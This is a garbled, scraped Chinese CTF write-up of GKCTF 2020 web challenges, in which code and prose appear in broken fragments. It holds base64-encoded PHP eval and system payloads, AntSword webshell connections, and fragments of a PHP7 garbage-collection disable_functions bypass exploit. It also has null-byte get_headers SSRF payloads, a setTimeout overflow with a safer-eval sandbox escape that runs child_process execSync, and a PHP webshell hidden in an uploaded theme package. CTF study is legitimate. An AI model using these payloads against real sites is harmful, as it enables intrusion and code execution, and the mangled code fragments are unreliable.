。

这里出现了一个eval#xff08;#xff09;函数#xff0c;猜测考察命…[GKCTF

2020]CheckIN

打开这道题目开始以为考察反序列化但实际并不是这里直接用$_REQUEST传入了参数便可以利用了。

这里出现了一个eval函数猜测考察命令执行

看到base64_decode说明我们的代码需要加密一下尝试着直接传入c3lzdGVtKCdscycpOw(即为base64加密后的system(ls);)

?GinkgoZXZhbCgkX1BPU1RbJ2FiYyddKTs

出现反应发现这个点是可以进行利用的应该是php过滤了危险函数在phpinfo中的disable_functions可以看到

尝试着用一句话来突破构造url

?GinkgoZXZhbCgkX1BPU1RbJ2FiYyddKTs

蚁剑进行连接

expexploits/php7-gc-bypass/exploit.php

master

https://bugs.php.net/bug.php?id72530

This

https://github.com/mm0r1pwn(/readflag);function

pwn($cmd)

a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:ryat:2:{s:4:ryat;R:3;s:4:chtg;i:2;}}i:1;i:3;i:2;R:5;};$out

unserialize($poc);gc_collect_cycles();$v

[];$v[0]

get_binary_base($binary_leak)))

{die(Couldnt

handler($helper-b)($cmd);exit();

修改一下exp的执行目标“/readflag”通过蚁剑上传至tmp的权限较高

?Ginkgoinclude(’/tmp/test.php’);

Base64后?GinkgoaW5jbHVkZSgnL3RtcC90ZXN0LnBocCcpOw

[GKCTF

在低于7.2.29的PHP版本7.2.x低于7.3.16的7.3.x和低于7.4.4的7.4.x中将get_headers与用户提供的URL一起使用时如果URL包含零\

0字符则URL将被静默地截断。

这可能会导致某些软件对get_headers的目标做出错误的假设并可能将某些信息发送到错误的服务器。

两者结合利用零字符截断使get_headers()请求到本地127.0.0.1

payload:

?urlhttp://127.0.0.1%00www.ctfhub.com提示Host必须以123结尾

payload:

?urlhttp://127.0.0.123%00www.ctfhub.com

[GKCTF

express();app.use(bodyParser.urlencoded({

extended:

(Number.isInteger(parseInt(req.query.delay)))

{delay

parseInt(req.query.delay));}const

setTimeout(()

老板说让我优化一下速度我就直接这样写了其他人写了啥关我p事setTimeout(()

{clearTimeout(t);console.log(timeout);try

catch

Wrong!!!!;}}res.send(String(response));

});//

text/javascript;charsetutf-8);res.send(fs.readFileSync(./index.js));

});//

text/json;charsetutf-8);res.send(fs.readFileSync(./package.json));

});app.get(/,

text/html;charsetutf-8);res.send(fs.readFileSync(./index.html))

})app.listen(80,

require(safer-eval)nodejs的题在ha1cyon出现了几次一般涉及到nodejs的题就是沙箱逃逸而导致能够沙箱逃逸的通常都是库的问题题目有特地强调了这个safer-eval的库直接去github找issues----直接搜索safer-eval

看这段代码

(Number.isInteger(parseInt(req.query.delay)))

{delay

parseInt(req.query.delay));}const

setTimeout(()

老板说让我优化一下速度我就直接这样写了其他人写了啥关我p事setTimeout(()

{clearTimeout(t);console.log(timeout);try

catch

{next();}访问/eval的路由会设置一个delay和你传入的get参数的delay进行比较取较大的那个然后setTimeout是延时函数delay秒后就会执行第一个参数即next()否则就会send出timeout。

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒。

只要大于2147483647,就会发生溢出,就可以绕过那个时间限制进入下一个路由

/eval/?delay23333333333333333333333

let

Wrong!!!!;}}res.send(String(response));post传入参数e可以saferEval安全的执行代码这里想要成功执行需要进行逃逸。

const

process)().mainModule.require(child_process).execSync(cat

2020]老八小超市儿

后台管理地址/admin.php?s/admin/logininfo.html

成功登录后台

下载下来的主题是一个安装包然后把你的shellphp马子放到压缩包的default\_static_

目录下如下图

回到网页上找到网站管理-主题管理-主题安装然后选择你加入shell后的主题压缩包进行上传

访问成功用蚁剑进行连接